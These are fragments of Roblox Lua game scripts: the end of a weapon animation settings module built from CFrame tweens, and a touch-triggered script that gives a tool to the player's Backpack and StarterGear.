ts:Create(objs[2], TweenInfo.new(0.6), {C1 = CFrame.new(0.805950999, 0.654529691, -1.92835355, 0.787567914, -0.220087856, 0.575584888, -0.323594928, 0.647189975, 0.690240026, -0.524426222, -0.72986728, 0.438486755)}):Play()
wait(0.6)
ts:Create(objs[2], TweenInfo.new(0.6), {C1 = CFrame.new(0.805950999, 0.559619546, -1.73060048, 0.802135408, -0.348581612, 0.484839559, -0.597102284, -0.477574915, 0.644508123, 0.00688350201, -0.806481719, -0.59121877)}):Play()
wait(0.6)
end;
AttachAnim = function(char, speed, objs)
TweenJoint(objs[1], nil , CFrame.new(-2.05413628, -0.386312962, -0.955676377, 0.5, 0, -0.866025329, 0.852868497, -0.17364797, 0.492403895, -0.150383547, -0.984807789, -0.086823985), function(X) return math.sin(math.rad(X)) end, 0.25)
TweenJoint(objs[2], nil , CFrame.new(0.931334019, 1.66565645, -1.2231313, 0.787567914, -0.220087856, 0.575584888, -0.0180282295, 0.925416708, 0.378521889, -0.615963817, -0.308488399, 0.724860728), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.18)
end;
}
return Settings
|
-- BLOOXERindisguise
|
local debounce = false
function getPlayer(humanoid)
local players = game.Players:children()
for i = 1, #players do
if players[i].Character.Humanoid == humanoid then return players[i] end
end
return nil
end
function onTouch(part)
local human = part.Parent:findFirstChild("Humanoid")
if (human ~= nil) and debounce == false then
debounce = true
local player = getPlayer(human)
if (player == nil) then return end
script.Parent:clone().Parent = player.Backpack
script.Parent:clone().Parent = player.StarterGear
wait(2)
debounce = false
end
end
script.Parent.Parent.Touched:connect(onTouch)
|
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